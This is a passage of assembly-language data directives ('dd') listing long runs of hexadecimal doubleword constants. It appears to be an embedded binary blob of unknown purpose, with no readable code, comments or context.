0A51FC1B9h, 48107805h, 203F30C4h, 2E66B9FFh dd 1164D812h, 7E2100A1h, 76F8841Dh, 36D90071h, 57D0F392h dd 6907F79Fh, 9B8BDF4Ch, 207B9C67h, 1AF44109h, 0FCC05C5Ah dd 0B2B17F0Ch, 0E27E7A71h, 26855900h, 50FE41DFh, 40A4970Dh dd 486898C1h, 7C00BC4Ch, 0D802C712h, 0B387A847h, 28688429h dd 0AAB5DD60h, 97CB9310h, 44800EC8h, 0E78EB6E5h, 6D78018Bh dd 0CA66F9Ah, 0E91ECFB0h, 58DCD598h, 0B7E5F740h, 0E36410h dd 12F4901Eh, 0C9026904h, 18A051F9h, 0C2F2BF7h, 0CD006F23h dd 932D1EA7h, 9C47F71h, 0FF3BA84Ah, 0A8C0A092h, 8A8221B5h dd 64264AE4h, 4964B03Bh, 712D565Dh, 4755004Eh, 0DADD81EBh dd 460040A0h, 0C8786E2Ch, 2480278Bh, 48AC14BFh, 0A7930374h dd 0E1B81A09h, 0C200958Fh, 70CD8922h, 95163F5h, 0B30D2502h dd 2C6D4848h, 38BA4C00h, 0DF5BC6B4h, 264E77C2h, 3F6A1DEAh dd 0E960F982h, 6844FDCCh, 271BB000h, 442690D2h, 2D7493BEh dd 0FE00EC35h, 9A705B17h, 4E261494h, 0BE05288Eh, 0A49D3B07h dd 894031D4h, 0C8F84B3Ch, 3E8602E0h, 41B707h, 5278469Fh dd 9C8A649h, 70E7C1B8h, 0D43A0C88h, 913945FCh, 0B8BD3200h dd 0DCF7D901h, 7819C043h, 7319D8A7h, 5B5FD300h, 0F4F6BCC0h dd 0EB670258h, 0E8CEB904h, 0ABE42865h, 0FFD44860h, 5E693E64h dd 75BBCB4h, 1E6AF278h, 0D442F744h, 0E884A87Ch, 0D4028CEFh dd 2F1CEBE0h, 0EE16E049h, 0A051EDA5h, 7417A1FBh, 0F43C9076h dd 0A5008EE4h, 0AE06FE59h, 1D3AAD17h, 4991BAD2h, 0BCE55F67h dd 3C86D1CEh, 0BC8A8E8Ah, 3CA61461h, 0D8DB18BCh, 5D0456B1h dd 50021C57h, 0EA7F2931h, 72875C76h, 8A31FBAAh, 0C82CB077h dd 51CFA319h, 29C5315Ah, 0A50714D4h, 56F2100Ch, 21A91F84h dd 6005226Ah, 0ED9C7B08h, 1A2A2727h, 6BD08278h, 0F44E01E4h dd 694840D4h, 0C72B397h, 23C42097h, 1C75F6FDh, 409202E8h dd 98C67F03h, 4A01305Ah, 27C45625h, 206ADCABh, 67E7F7B4h dd 0A40E4672h, 9EE8C310h, 0B49B5AD3h, 8F641480h, 1D140345h dd 1646E93h, 99E0F2FAh, 5072D0D4h, 2523B048h, 0AFB6E001h dd 1218E393h, 0E84588h, 870105B6h, 8A8C1DF2h, 31D87E51h dd 0ED8474F5h, 0B950AE04h, 0E0CB3148h, 0F7C00CC8h, 0F2B1A9F6h dd 936917F4h, 9E8401F8h, 40BA5B71h, 54F6B4D4h, 39A75E30h dd 34E8Ah, 0EF1AEE9Bh, 79C9AF7Fh, 0B40F8F0Fh, 72652096h dd 67299Ch, 4E19D6A2h, 4C27B0BAh, 6870B801h, 21A7D89Fh dd 118C6F3h, 2FD6780Ch, 5B946A17h, 47C91F20h, 3D9BEEA0h dd 5B80D3B7h, 5A8CD577h, 0E8145D13h, 7CB5AEA5h, 5F876700h dd 35A06264h, 0ADFA0D23h, 0A385E6Bh, 10816120h, 20049ED2h dd 0BC0A2414h, 4A7CA10Fh, 5C8780A5h, 0E29A60h, 27097799h dd 0AE559FA6h, 0D858A8E8h, 0D57315ACh, 93086234h, 0CC808267h dd 0A0213741h, 4C4587F0h, 7ED47Fh, 0EBE1E2BAh, 0E33996D0h dd 323FDF04h, 0B8E0616Eh, 9565245Ah, 0CE5E00C4h, 328BD16Fh dd 949A8FB0h, 0AE602701h, 0A38D5D3Ch, 84D22990h, 9344EF2Ah dd 8E3A445Fh, 44707644h, 9F48EB95h, 248C0442h, 0F309215Ah dd 3C826B12h, 7E258A3Bh, 0F091141Fh, 71087721h, 20C29DDAh dd 0EA4ECE00h, 0AF0CF18Fh, 46B70008h, 0FD38769Dh, 0FF072A43h dd 7F210EEDh, 0DD0FF590h, 52BB009Fh, 6168FAAEh, 302E3447h dd 9B0073CDh, 5C835B39h, 9AE10011h, 7EC4ADB2h, 53009FCBh dd 7201CF8Ah, 56618Fh, 0B8176593h, 6DA2D1AFh, 0B45BDD03h dd 0E8E918D5h, 2DD2A0h, 2196536Fh, 49AACB29h, 4BCAA400h dd 0D676E772h, 0DB1A00C9h, 86921BCEh, 0F43DD925h, 0F8AE82FEh dd 0C02EC813h, 0EBF107h, 0CFB203B0h, 8321309Ch, 0E10D1C02h dd 605990FCh, 3E9634C7h, 0B000D5E6h, 1B06323Dh, 80044308h dd 2DBEF01Fh, 1AC62A87h, 0E0820086h, 26EF09F6h, 2F05F8E3h dd 8310AF52h, 55430780h, 90AA001Ch, 31CA8608h, 0FA4EF99Dh dd 0EE006FE8h, 0F19F5611h, 1D601B72h, 82D29288h, 9C8B004Ch dd 55CB3A6Fh, 0C0CBEA7h, 807D0B57h, 5B830043h, 6712B5BFh dd 0D0B2C633h, 6EA3E03h, 0C0A26189h, 239D0BAh, 551D886Dh dd 55E01EE0h, 9F8C953h, 2F8658h, 40570BBh, 2E3B88h, 0B8E6348Dh dd 1F96F093h, 0DB6DFD0Eh, 56FF80EDh, 0C08BD2EBh, 0F3DC5580h dd 0B9074A72h, 6EFC95ECh, 46FEDAB0h, 98B44C05h, 8F352005h dd 0D4B8C9h, 82612AE5h, 387A2142h, 6A1DB771h, 0D7484076h dd 2E36DFCBh, 8329B203h, 0F8CFA624h, 2BF92F1h, 0D8BB1918h dd 0F480F2FDh, 68854D14h, 0A0104C07h, 0F0FA3FEDh, 0A91DBE00h dd 94F136h, 412F5781h, 0A32C040Dh, 0B011920Ah, 803FB002h dd 2A6A1EB4h, 123A7038h, 466CC5h, 838293ECh, 861D1C3Fh dd 813B1FDFh, 0FC292649h, 38F841F7h, 0E9EB068Bh, 0BA5B8A84h dd 51582700h, 60C432D2h, 0F3D1006Ch, 5A77706Ah, 3100D552h dd 2ABBEC68h, 909B96h, 0B8E582FFh, 3EB4C7FDh, 9700CFE4h dd 1FEB8908h, 3E0BE42Bh, 34807059h, 0AB1B1C85h, 1800F34Fh dd 2129A5AEh, 379268h, 5AE0CD0Eh, 0E55F56A0h, 77E9A301h dd 9FB95981h, 5CCC770h, 0B618D99Bh, 3BDF80BBh, 8F008361h dd 69807976h, 0FFED3Dh, 9DEB12F5h, 0B64A85ECh, 3A3FC400h dd 6DF4E958h, 0DED003C7h, 52040261h, 96FF17E8h, 4BEAC200h dd 0C1BDB13h, 278400E8h, 864A4DD6h, 14004783h, 0A397563Fh dd 48DCA4C2h, 7795829h, 69DBC544h, 4C77FADh, 53C650FBh dd 0E77BFEEFh, 1600E5F4h, 0AC58BFC3h, 1CC4424h, 9DB2D0CEh dd 68DFAFBEh, 5320005Ch, 89C612A6h, 3B250F5Eh, 0E9A0406Ch dd 0B2ACC3E0h, 0CC00F077h, 0AE489231h, 0F220DF73h, 25D40B36h dd 1785E859h, 3BD9E80Dh, 30BB85E4h, 0DE1D2DC3h, 0E551807Bh dd 9B6CE853h, 0E6F10092h, 10D5F9C1h, 85005715h, 4793187Bh dd 26AE21h, 436459AFh, 5FE4B64Bh, 0B07EFC07h, 7D04D78h dd 28B5CBDh, 0ACEC6AD6h, 0C4F86177h, 990010EAh, 21BD0B76h dd 0E2B4F7h, 83900E67h, 69EEB8Ah, 2400B0ECh, 2831E930h dd 0D6774Ch, 366E409Fh, 33EB29BFh, 140F5DF8h, 403A3491h dd 6EEAFC37h, 56BC3011h, 9DDA3330h, 0A3847A00h, 0A5EB88ABh dd 0ED870F19h, 40616671h, 41231C8Bh, 302258CDh, 9F00D0B0h dd 827810Ah, 0D6DD91h, 2C678D77h, 63F1CD83h, 64CCC000h dd 3CABC814h, 1D5303D8h, 0B39113A3h, 32D5A3DFh, 0DB0923A8h dd 0A456C900h, 0A93D9E12h, 0B5140F84h, 2D8086F0h, 0E0CCEE04h dd 2F2771F6h, 0B1466091h, 4A5AEBh, 2E903AD0h, 7B004B46h dd 1B82FC27h, 504E15h, 6564D07Eh, 0EA1D488Eh, 0C7DDF26h dd 9BF65A00h, 0AB231Bh, 0A4CD4DD9h, 0DC3898D5h, 0F8EDD400h dd 76192EDFh, 0FCD90024h, 33A6F909h, 0BC01AF15h, 20F3DB7Fh dd 835A05Bh, 0F6538840h, 47113E67h, 0EA690780h, 0D675A393h dd 38E830EBh, 0B69B0200h, 0AD21B15Fh, 5153ADEh, 4F33D103h dd 4CB83E1Ah, 8778951Bh, 9F5CE900h, 48C620F4h, 2EE23D65h dd 0FCCED100h, 3B156E19h, 8C625900h, 2D9887D2h, 46CF02E2h dd 0A7D1CB50h, 0F7267860h, 0FAE90B00h, 0ED0571C0h, 0C9CC00E4h dd 25655DFFh, 0EBF6BC06h, 312EB37Fh, 3D045C3Fh, 26C0DE91h dd 311C0FFh, 41B8A8B4h, 29B08AE0h, 5F006798h, 582B2031h dd 77372F0h, 0A9AD9AE4h, 0D54E4083h, 0AB7AA224h, 0B080D800h dd 0B336E5FCh dd 66C10715h, 408E95B1h, 0CD7AAE49h, 0AB16F800h, 0EFBC7158h dd 0E1A70004h, 0E3A30264h, 9700FC5Eh, 0F856EAFFh, 9A1A9Eh dd 0ADE6BE21h, 0C9419517h, 1801749Ch, 0FE1A4E4Ah, 0A04D67E8h dd 7D6328BDh, 0B4EC1D01h, 0F484C0AAh, 86505A29h, 8E6CB00h dd 0CD9C2E73h, 8DE030h, 1AEE5F3h, 0C35DEC2Bh, 0F81E48h dd 0BB38733Bh, 9084DD4Dh, 85A00F0h, 0CB17F4F5h, 88B093C8h dd 2B1E23E8h, 1CC0EBDDh, 32CD4131h, 0AFFF00C5h, 1140B9ABh dd 2A00F878h, 44C47549h, 0D2D9BBh, 319A0610h, 6B91899Bh dd 0A349D800h, 0B5822612h, 79873B17h, 0C6528D00h, 3BDC3EEAh dd 0D1B04B0Eh, 4C074074h, 7B1D437h, 67C45160h, 3586095h dd 0FB00F56Eh, 8AE786C3h, 0B525BDh, 3F279964h, 2F36FD29h dd 57897412h, 0F100191Ch, 87D7519Bh, 2FD558E0h, 5C80903Bh dd 918D3785h, 824F4C72h, 27939C00h, 0CA9ECFh, 0A898345Dh dd 0EA05E4B4h, 0C0AFC100h, 3F99391Dh, 4FBC00D9h, 879C159Ah dd 0AB0E268Eh, 20DD08E0h, 0BAC05C13h, 6DEB0B7Fh, 0BD804FEDh dd 0DFCC2D62h, 0C304C00h, 0FC993365h, 0ABB50066h, 9CF64EE7h dd 1C00CAC7h, 8301D5Ah, 28A8BBh, 4CA124C0h, 45676CBCh dd 5ACFD400h, 4EFDB70Bh, 2E44B8C4h, 40DC2AA8h, 785B19D3h dd 0E5085800h, 763E57D1h, 75B50153h, 0F3110D2Ch, 886C83h dd 45CF0B38h, 3E66327h, 2440DF0Eh, 69D0CD82h, 0B2004929h dd 20C7EF81h, 222794Ch, 16127CFAh, 4064534Fh, 2944A21Fh dd 0E973F986h, 0EA810BF1h, 101020A3h, 4C021C0Eh, 7065E6B6h dd 0DDFCC93Fh, 0B0214430h, 4E5900FCh, 831F2D0Bh, 0D101C62Ch dd 0A2F99B25h, 0EEC453FAh, 7058606Fh, 77C36C24h, 44CF600h dd 1608DDB2h, 29C7002Eh, 1139D3AAh, 0BB002AE1h, 0D94D41BAh dd 0EC27CDh, 6AA56B5Fh, 323F843Eh, 921C5100h, 0F0811D70h dd 3AB6F2C1h, 0CA8F50DCh, 2CDC473Bh, 0D59001Fh, 94DDB1ABh dd 5D20DB00h, 0F5C29386h, 7518179Bh, 340B0006h, 0E23F4171h dd 68B29700h, 5FF3C181h, 4DA61239h, 0FEC4B07Dh, 1FB4DF07h dd 18A0A44Eh, 32C9667h, 144D2887h, 0DED8EC39h, 68006EB1h dd 0F4CFF05h, 75E42CDh, 37D12E2Ah, 0B7FC0064h, 4A0D29A8h dd 0F061F2CBh, 0BD83D8h, 2C3F06EDh, 0D2B77988h, 0EC6ED301h dd 0D069DAD6h, 490249D8h, 8D0168CAh, 0DBA5481Ah, 9464CEFDh dd 8096AA00h, 6BDF82ECh, 0A1940085h, 0AE64FC8Ah, 4C77A78Bh dd 0F8162300h, 324776EAh, 33E6097Eh, 0CC8003A5h, 10FBD24h dd 0E1F9A00h, 6E62C9E1h, 3F0A14B9h, 6502A264h, 0D3178E29h dd 9E801C56h, 2EEA405Eh, 0D18002BEh, 0A6C4E103h, 823C30C1h dd 8A3FA784h, 1F486090h, 551B006Bh, 0D8C8D552h, 0A8004A7Eh dd 42902387h, 7B61DC19h, 53970B15h, 44803FD6h, 8F21C963h dd 0BBF2901Ch, 0E72AD281h, 3AE01951h, 14711CDCh, 0FB98310Eh dd 0C5561095h, 5CB017Eh, 24689376h, 0B8EACC46h, 0E8425101h dd 986BF4ABh, 3823EECh, 1AEDDF11h, 0AEB0D8E1h, 0E609AFA9h dd 40CA174Ch, 60D706A4h, 9F3ED9C6h, 451DF114h, 2E002CACh dd 8929A062h, 0BEF300DCh, 82DF3659h, 0D9006DBFh, 951D68AFh dd 0FBF2E3h, 63EB8B2Dh, 9287FD07h, 6F60F602h, 0E19FFE12h dd 0BDE40160h, 2D7500DBh, 0B8192B57h, 80307458h, 72A88EEDh dd 52F65C44h, 0DC854514h, 0DAD73C03h, 0B788B153h, 0B600FA8Dh dd 0F4F077E3h, 7ACA4B2h, 0DCA13135h, 0EC7C4329h, 665F320Eh dd 7AD0E06Bh, 0EAA38BE8h, 98040106h, 86250A02h, 2D26F864h dd 1CB0524Ah, 6AA00D2h, 0BFF1E3DFh, 35043AB7h, 7648392Eh dd 107DDFC0h, 2543BE0h, 0E4515680h, 34040DBCh, 81836B00h dd 99DD5545h, 9217A11h, 0FCD666ECh, 0BB7E2480h, 0BD009510h dd 0C2B46F98h, 177F70E6h, 0F877BD4h, 0AF801E0Fh, 0A52168C3h dd 5F1FF312h, 0B59F3C40h, 0C812CFh, 50BFAD34h, 0E114CC69h dd 0DE005976h, 6FA7EBACh, 0B6AA8A3Ah, 2D2177Ch, 320F3C90h dd 0F0ABF0A7h, 0DCF96E77h, 1152F61Dh, 3CF2F703h, 20200248h dd 3438AE15h, 37C0E087h, 5A3970C5h, 0C400D6D5h, 7EB54E40h dd 7F61FA1h, 0E24477F1h, 80FAE242h, 0D8FBAD40h, 1149D503h dd 0A08ADC31h, 3B64A8Eh, 1ACDD77Ch, 0C9886FB5h, 800EEA0h dd 7759A1FEh, 60A771h, 0D2ACDC83h, 0DB11FC54h, 0C3376914h dd 80B700E8h, 3EA5E9Ch, 0B85B009Dh, 0E86C5124h, 6A00DA1Ah dd 53F80F59h, 75839CD1h, 0AA661661h, 4AEB00D9h, 0A2DE4BAEh dd 0D8156000h, 0BAB20FEBh, 6AFE01C7h, 47233D40h, 8262F84Ah dd 0C405905Eh, 50D06B0Ah, 7E94031Fh, 2AF00F2h, 759AC9B5h dd 6000393Bh, 87E4BA2Eh, 931883h, 9EDDC750h, 0F0C054BCh dd 0B803664Fh, 485685AFh, 0BE008464h, 8AC539E5h, 7C00AAC7h dd 0D79F3546h, 25721F03h, 5C009BF2h, 115C5312h, 0E86B48h dd 0C5F59A89h, 5B082Ch, 0D00541C9h, 0A6B71395h, 80864F39h dd 795C2225h, 249C2FE7h, 18D728h, 3D955887h, 31000582h dd 0FBDFD238h, 0C7B311h, 0B145912Ch, 51493B9Fh, 2024DE00h dd 7AC33CEBh, 29D500CDh, 955CC28h, 811302D7h, 0C201C446h dd 710369BCh, 0FFE770h, 8296E2A1h, 6A5260ACh, 4346300h dd 0C43077A7h, 43F80374h, 270BF54Dh, 10989601h, 3E673D2Ch dd 1B74F4h, 621EBF11h, 4BD39776h, 0C4D1C528h, 7CA75601h dd 276C6617h, 0BE1EE8h, 16013E13h, 4587B1DCh, 6698400h dd 6547CAD9h, 0CB350427h, 0A4F66229h, 10012440h, 0A2C1F1C8h dd 0C440470Bh, 0B4362982h, 0DB5D8578h, 0EED081E6h, 0ED9C43AFh dd 0B84541A8h, 3DBC1100h, 56491F71h, 0FAAE00A4h, 0FB7286B2h dd 0C70B7D13h, 80C1FE7Bh, 10CB613Ch, 0C89E001Ch, 3536AF4Ch dd 0C8F3B063h, 0D500AB6Dh, 37FDE807h, 185982h, 0B435B516h dd 90BDF71Ah, 0B6879407h, 0E3D05506h, 0A24497h, 0BB85991Eh dd 3C2337DFh, 7900EEF0h, 8B8E0472h, 0A3DDEh, 6A36FFC5h dd 60F965D2h, 23007FFCh, 0DE7729E8h, 0E7E8226h, 0CEA86FA6h dd 41708B23h, 79E7F088h, 0EE7B760Fh, 0FAFBE0FCh, 80B8Eh dd 947AE49Ch, 6D4AAA83h, 0C4A5E702h, 7E3E2AF8h, 34360008h dd 7F473A33h, 7E8FEB01h, 5C51DA1Fh, 3587C60h, 30ECA261h dd 0BBB0DBE6h, 1A000872h, 8F0141EFh, 3BAB742Ch, 17002888h dd 0D7240FC0h, 430075F6h, 0BFD40764h, 387473h, 1496E6BCh dd 0A4EB7EDBh, 0CF187200h, 0DACE4F79h, 12773Bh, 0DD27709Fh dd 0DF434BF7h, 0A20EF309h, 53408080h, 3BAF5C32h, 5B839A6Eh dd 75EBE309h, 0D16537D0h, 0DBF49300h, 543F52E9h, 0A6160713h dd 0F0B63B06h, 0F769B003h, 37CAF300h, 0AA05EB3Ch, 23784Bh dd 9DE9429Ah, 0CB775DCCh, 2E88DB0Eh, 0B06E051h, 0E1A68D2h dd 0ACAB96EEh, 5549D40h, 0D4005609h, 8EA569B2h, 0F0B7461Ah dd 0A0D80055h, 39017B10h, 8100EC99h, 761C9627h, 0B4E2C3h dd 51424353h, 6E21CD46h, 1C22503h, 80DCA737h, 0E1DDE6h dd 0A33FB133h, 8AB51F49h, 0C4C6A200h, 7E47D2FEh, 0E9F5004Bh dd 56B203CAh, 9F3B54C0h, 836E1E1Eh, 0D2A625C0h, 177CE67Bh dd 5F0FEDh, 0A2D9BD4h, 2B018341h, 98CC9215h, 38D4D4E0h dd 0FDAC0085h, 0B7DADF5h, 0CB4C4E7Bh, 0E83C0EDAh, 7A409D66h dd 8343BA48h, 73B30025h, 0B40341Ah, 781D06F0h, 0F6407EAEh dd 85C3E301h, 62745Ah, 8FCBCC0Ah, 12D0A763h, 4818C700h dd 96312D28h, 6A0D006Eh dd 88A93D32h, 4A72C91Dh, 0E2428006h, 17AA8F2h, 0D43C08D2h dd 60C169F9h, 0FF007D26h, 84216D24h, 0F1DF50h, 6B2E65FCh dd 306FAB70h, 8219411Dh, 681BC180h, 0D8BDBCh, 7A0E9152h dd 4A880B14h, 5D00197Dh, 7EA7DAFFh, 18092A30h, 0B0E1181Ah dd 100B25Ah, 2289391Eh, 9CE90Eh, 0B542489Ah, 0B39FFD43h dd 99FA0D00h, 56DC0781h, 0D6F00F8Eh, 5B4E9ABFh, 0E3928DE0h dd 0A40029AAh, 19022F1Fh, 628C3852h, 5393511Bh, 8363A480h dd 6700C21Ah, 0D1E46F66h, 0C89F76h, 39B337C5h, 219D8C0Bh dd 94A22B18h, 9E0A58h, 4B199AA0h, 0CD550167h, 0A893F01Dh dd 86452600h, 3FEEDA85h, 0FA0098EFh, 6DCCD60Dh, 110044A0h dd 0E8FD3C61h, 0ECA9D7Eh, 37A357F4h, 36A23080h, 87002BF1h dd 8B2FCCFAh, 534C003h, 35BF0486h, 0D50C0089h, 5942A59h dd 420C5A74h, 88F71BC5h, 79B507D6h, 3380EB9Dh, 0A000C228h dd 0DC05E3A8h, 0E20DAE38h, 80EC159Eh, 0E420109Ah, 74DF3040h dd 60147420h, 0CD5A5C41h, 0D83A01C1h, 83868239h, 40781608h dd 5C47FEh, 40631C13h, 88FC15AAh, 973DDC00h, 11DB4D0Dh dd 0BF230329h, 6566CA52h, 28E115B8h, 9B80AE14h, 0DA930040h dd 59DCE3B7h, 86B007Ah, 0A05AC64Dh, 705E5CDh, 9980DF9Eh dd 0FFA61803h, 0C1F00005h, 16094B86h, 802637Ah, 21B77812h dd 4CCCA0CEh, 0C0A45AC2h, 0F53E1148h, 6B79B38Ch, 6DEF7F00h dd 28509422h, 0B767000Bh, 770AFDCCh, 81EE45B1h, 0E2017401h dd 3F61E658h, 0B8C0C4h, 0C9866A90h, 6F7A137Ch, 0CC16D307h dd 2A43D8B0h, 5B30A7C5h, 38342353h, 0A965193Eh, 0BA043A01h dd 0A1854200h, 0DE04F786h, 0E1069907h, 0FF8621BCh, 0A9510029h dd 411BD6F1h, 0F4004E9Eh, 78CE3EF9h, 3C4F11C8h, 0B44850A6h dd 0E8765982h, 0CFBF90C0h, 20AF8130h, 7C7A6B99h, 0E79B00A9h dd 642589Ch, 0FA009779h, 3B1E1483h, 6444C81h, 22206ECEh dd 9A0638A5h, 3F28614Eh, 3FD05870h, 916C1860h, 0CC615D98h dd 649573C8h, 7670FEE5h, 88653084h, 8DF5F3D0h, 36112800h dd 437CCD33h, 0B982ACEh, 0BCBD2A80h, 30F70284h, 0C6060414h dd 0FB2B9FC0h, 24BF8400h, 0C2E46231h, 0B9B30034h, 207A1B8Fh dd 18982E1Fh, 82CB9E06h, 111ED0h, 36C21429h, 0F8B43E9Ah dd 62B08CA3h, 1797792h, 54F13214h, 0A8130450h, 15C0060Bh dd 0C1F4C2h, 8A820CC5h, 0CC2D44DBh, 4E92700h, 6635A1E2h dd 622100C1h, 369DAE7Ah, 0D0C077D9h, 0F2A1DF20h, 0FADCA001h dd 897E88D5h, 0F80F5200h, 3CBE70Ch, 0EF310F33h, 0C5A7EBDAh dd 281960BCh, 0A918DF21h, 0D740E566h, 0D250002Ch, 8C3604E8h dd 51F17AC4h, 0CCA63B98h, 0A50CD5F6h, 1838160Ch, 719006DAh dd 9870B5F4h, 9872C683h, 0FEB1DE08h, 0C03F1CC8h, 0F919634Ch dd 0E0066D6h, 0F5FFD8E8h, 198A980h, 9F6089B5h, 204F4D4Eh dd 4B017804h, 0EAB20ECCh, 0FC40C1EDh, 71F108Bh, 94D175D7h dd 4EF8A014h, 6D01EAFAh, 2C579680h, 8F039E8h, 6BD40226h dd 0CEDAF6F4h, 3EA0F4A0h, 4927A09h, 8580CCE8h, 3773F0h dd 0EB8D7B0Ah, 5C808F87h, 36910D06h, 148E599h, 932C3466h dd 70B5FE1Dh, 0AB002BEFh, 248E3394h, 648D2Ah, 5B9C439Dh dd 4CE88021h, 310E7700h, 7488BD22h, 181F609Bh, 0FF191A46h dd 11293600h, 215641EFh, 0D5CC0738h, 81275818h, 0E0CD48E1h dd 0EE01B704h, 0AD208ABFh, 4CF0B41Fh, 22E61D21h, 0E88D887Ch dd 4F9F1903h, 0C5500F01h, 0AC817FCAh, 0F4D03595h, 0E60EB5F6h dd 404F2F64h, 0F0459007h, 6718C087h, 0A29D7A2Bh, 728EAB00h dd 0C7DA2AFBh, 18A4F089h, 28AC8835h, 10046D8h, 8F7AEFE6h dd 0C1B96425h, 0D9F14318h, 0D1C7D85Eh, 16E879DAh, 1C040004h dd 0FF37562h, 0F9050D59h, 1214907h, 0ED3D1EC0h, 45E246h dd 0C82E8EEh, 2080ACF6h, 85445A00h, 790E9510h, 0F900048h dd 8825D4Eh, 0EF182146h, 8C69B1A0h, 0AC3F00B8h, 0F4566525h dd 5548FD2Dh, 6D216051h, 0B8033FA9h, 74D200BEh, 0D97CA10Dh dd 0E47BE127h, 64A0C8ECh, 0EF01B0A0h, 88B499B8h, 998FF1Bh dd 0D8C021A3h, 0F73DEF01h, 0DD9C04FEh, 8C40BEF5h, 0A2259E8h dd 7B6F80Dh, 0BAC00CCh, 0A37FD8C9h, 16D1420Ch, 2568BDh dd 0CBF49D56h, 41980AD5h, 0EF79AD00h, 0B1082C33h, 0C94E122Fh dd 7F080160h, 0FDAFBD44h, 11204ED0h, 0C09D4A34h, 0F8EA419Ah dd 0DA158242h, 50C81BE4h, 7C012DC0h, 0A654E6A1h, 895F6A0h dd 590080CCh, 0BE6D2DF0h, 0EF1C6797h, 94E8136Fh, 0FC059009h dd 4303296h, 0AD60F2C4h, 2523D73Fh, 0BB116Dh, 0D03F666Ah dd 0E448067Ah, 0A38A2442h, 1750E3Ch, 0F6DEADC0h, 521E5C07h dd 99C0DF40h, 0E7F554C6h, 7091FDB1h, 3FC29EFEh, 9C0D25ABh dd 0AA6E00FCh, 7064DF3Fh, 190E5312h, 0C62310A4h, 4878B38Ah dd 22C08C8Eh, 0ED7AAAADh, 48006092h, 0FC07DB79h, 1DB41D51h dd 181C66A3h, 7FAD21EBh, 0D2AADB00h, 238433B3h, 487DFA90h dd 0A01EC1Dh, 780E0F70h, 0F0B891EFh, 763FB787h, 5C89B025h dd 0B06C10BAh, 22CC013Fh, 0C79F97DDh, 20282108h, 5891E5E8h dd 1A18BB79h, 2C70730Eh, 0CA433EB6h, 0D28558BAh, 41FC496Dh dd 0C3A6A0F4h, 826FAC81h, 0C94F4AA0h, 0C87D1C0Ch, 0E251AEh dd 0B388FC4h, 0CCEE99B6h, 0FC363E00h, 24DF264h, 76AE12D2h dd 752C40A3h, 21295397h, 0B7CBE20Ah, 770A54E4h, 0A581A4ECh dd 2F054098h, 148ABC4h, 53495FD4h, 8070C5B0h, 28CEAC88h dd 3B8CA47Fh, 8B802B2Ch, 3DC025A2h, 2102E931h, 7AFF9741h dd 4D584078h, 0B1B263C9h, 0B901EA6Ch, 0F003DDF6h, 5044DC05h dd 62956C6h, 6AB856FEh, 5F729AFFh, 0EB1DF5F4h, 41CE9545h dd 212721B1h, 0D4486E89h, 0C4D554E4h, 71E200A5h, 42DC94EDh dd 0FA29B1B9h, 0C30CF0AAh, 751FC9A1h, 8B751E08h, 74A024F8h dd 7302B646h, 0DCA0BB43h, 6F972140h, 10208324h, 253C9D0Fh dd 2C91CBF1h, 79806BC7h, 4C724D7Dh, 3000A59Fh, 7C943AC4h dd 5AF1A37h, 0DCB67E49h, 68448081h, 0D504C7D6h, 75176796h dd 0B59900D0h, 88B4692Ch, 21CF1880h, 9A13AB9Bh, 480CF142h dd 0C5C39C0h, 8CC51728h, 38008A78h, 3E22E0Fh, 12A3848Eh dd 0BFF025h, 55EAB1B8h, 749872D5h, 0B0AD77A0h, 7700C093h dd 81FC09DBh, 2420861Ch, 7DE300ADh, 2B7363DBh, 64907FEAh dd 8D7A4776h, 0D2EEF700h, 738BE426h, 0DC760481h, 0C3AF2566h dd 54882D90h, 23372CB3h, 0C1E87895h, 0C5FBDC55h, 9B3CDB1h dd 7BA920FAh, 0C90AE8DBh, 0EC81A1C4h, 72051C81h, 2C331A2Dh dd 7CC0A988h, 21FBF4DBh, 30A01C79h, 0DB7EAA17h, 8629EB07h dd 28C01944h, 2EF79F96h, 0E9201373h, 607D0804h, 77B1EFABh dd 0BC448C99h, 0EFD300BFh, 12C77730h, 0B3004C82h, 581B56C0h dd 0C0B59DC5h, 0E4A3E229h, 0F8A097AFh, 0D8C9B676h, 88BB05A8h dd 0C24E24C8h, 0DD824119h, 5FA034CCh, 0FE59A179h, 82778434h dd 2DEF5A00h, 0BE0057B9h, 13997C19h, 625B3526h, 0C85E70A3h dd 0A0D00D22h, 0B62B36A4h, 0AA18C950h, 207AA005h, 0AEEFDE7Ch dd 86449910h, 0C297C8C8h, 53E16500h, 975F6EC4h, 70A0C989h dd 1449A485h, 0F477A8A0h, 8230D4A8h, 0D81B1EF6h, 0E1B9A7C3h dd 58BAB505h, 186C8C26h, 0D2F06997h, 8024E42Ah, 0BCFC2F70h dd 0EF264A01h, 0F89EA6D8h, 0C953ECh, 96B5279h, 0AB19F82h dd 4E122C98h, 0DC42EDE5h dd 4002AAFFh, 1FAB4CE8h, 5E079FB9h, 20520010h, 9E4EC1D9h dd 0B204351Dh, 603AB592h, 0F8002423h, 0DDA17FDEh, 0C8AE49F7h dd 728F7502h, 4C4A9A0h, 42B8471Eh, 70AE2587h, 0EF02FB0h dd 60926128h, 22A1DA2Ah, 0E62300h, 0A2482E09h, 34B95506h dd 2DE41560h, 99F504FCh, 1273779Fh, 1AE40867h, 0ACEB102Fh dd 89714AC0h, 95653059h, 6C8D15A0h, 0FACA7DCCh, 8BAA1C4Ah dd 7719F068h, 431C63A3h, 8D9E517Ah, 7EF45278h, 239C1354h dd 78876300h, 1A1644Fh, 4DD300FEh, 52EEA019h, 2800BADCh dd 0BF7EE721h, 63FB91B5h, 0C5A0A069h, 275D6900h, 7140A8FEh dd 31140046h, 8DBE49FDh, 0A031F19Fh, 0D70929BFh, 0F7613FCh dd 1D947F83h, 0ECBB66E0h, 2B12EEC6h, 0D421C870h, 5CC08A9Bh dd 575EE4Ch, 0AD1B0AAFh, 539C600Ch, 0FB23FDDCh, 2EF51161h dd 5D0074AFh, 0C9E6E1A2h, 8693502Bh, 6790A87Bh, 0E842EC26h dd 0CC1A1EC1h, 0D5A605CAh, 0F8D40082h, 0A4D61B91h, 3D12D892h dd 34DC9FECh, 0C09A7A1Eh, 7FEFA371h, 9417D7BCh, 0BC3A728Eh dd 0C0AD2410h, 81CF6892h, 39EF6379h, 0A6A0D885h, 56122609h dd 0A800EAC9h, 4658B9FEh, 30A9492Bh, 0BE9BF082h, 0FCA2B8A0h dd 0CAE02897h, 8E2CBC01h, 0C5037202h, 885848DEh, 1D5E077Dh dd 0A0D883A4h, 316AE976h, 8000B34Dh, 7942D0C3h, 0B8B87C7Ch dd 98AA0FD4h, 7786C52Ch, 6500A9EEh, 0ECE27E33h, 0F284Ah dd 6AED48F4h, 0FB5240ADh, 6F08A21Dh, 0D254AA0Eh, 31509C42h dd 0FD18E1B1h, 3F08B218h, 